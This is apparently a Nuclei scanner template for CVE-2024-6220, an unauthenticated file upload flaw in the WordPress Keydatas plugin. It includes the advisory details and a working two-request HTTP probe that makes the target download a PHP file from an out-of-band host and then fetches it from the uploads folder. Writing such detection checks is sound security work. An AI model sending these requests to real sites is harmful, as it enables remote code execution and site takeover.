id: CVE-2024-6220 info: name: WordPress Keydatas ≤ 2.5.2 - Arbitrary File Upload author: hnd3884 severity: critical description: | The Keydatas plugin for WordPress (known in Chinese as "简数采集器") is vulnerable to unrestricted file uploads due to missing file-type validation in the keydatas_downloadImages function in all versions up to and including 2.5.2. An unauthenticated attacker can upload arbitrary files to the server — potentially leading to remote code execution, site takeover, or other severe compromise. impact: | Unauthenticated attackers can upload arbitrary files including PHP web shells through the keydatas_downloadImages function, achieving remote code execution and complete site compromise. remediation: | Update Keydatas plugin to version 2.5.3 or later to address the arbitrary file upload vulnerability. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/keydatas/keydatas-252-unauthenticated-arbitrary-file-upload - https://github.com/advisories/GHSA-29rm-j4cx-hmc5 - https://nvd.nist.gov/vuln/detail/CVE-2024-6220 classification: cve-id: CVE-2024-6220 epss-score: 0.35708 epss-percentile: 0.98254 cwe-id: CWE-434 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cpe: cpe:2.3:a:keydatas:keydatas:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: keydatas product: wordpress tags: cve,cve2024,wp,wp-plugin,wordpress,keydatas,file-upload,rce,vkev variables: filename: "{{rand_base(5)}}.php" oast_url: "{{interactsh-url}}" flow: http(1) && http(2) http: - raw: - | POST /?__kds_flag=post HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded kds_password=keydatas.com&post_title=1&__kds_docImgs=http://{{oast_url}}/{{filename}}&__kds_download_imgs_flag=true matchers: - type: dsl dsl: - "status_code == 200" - 'contains(body, "{\"rs\":1")' condition: and internal: true extractors: - type: regex part: http_1_request name: folder group: 1 regex: - '__kds_docImgs=http://([^&]+?\.php)' internal: true - raw: - | GET /wp-content/uploads/{{folder}} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - type: word part: body words: - "" - type: status status: - 200 # digest: 4b0a004830460221008db8dd8ddb639565b97b10438e2275bf6ae03542dfaa0e681776f500985ab58f022100cfa61a054785d932dd4e5e59e7807bf2135cb4a0d2d269cc7a8c4dbb761d80d7:922c64590222798bb761d5b6d8e72950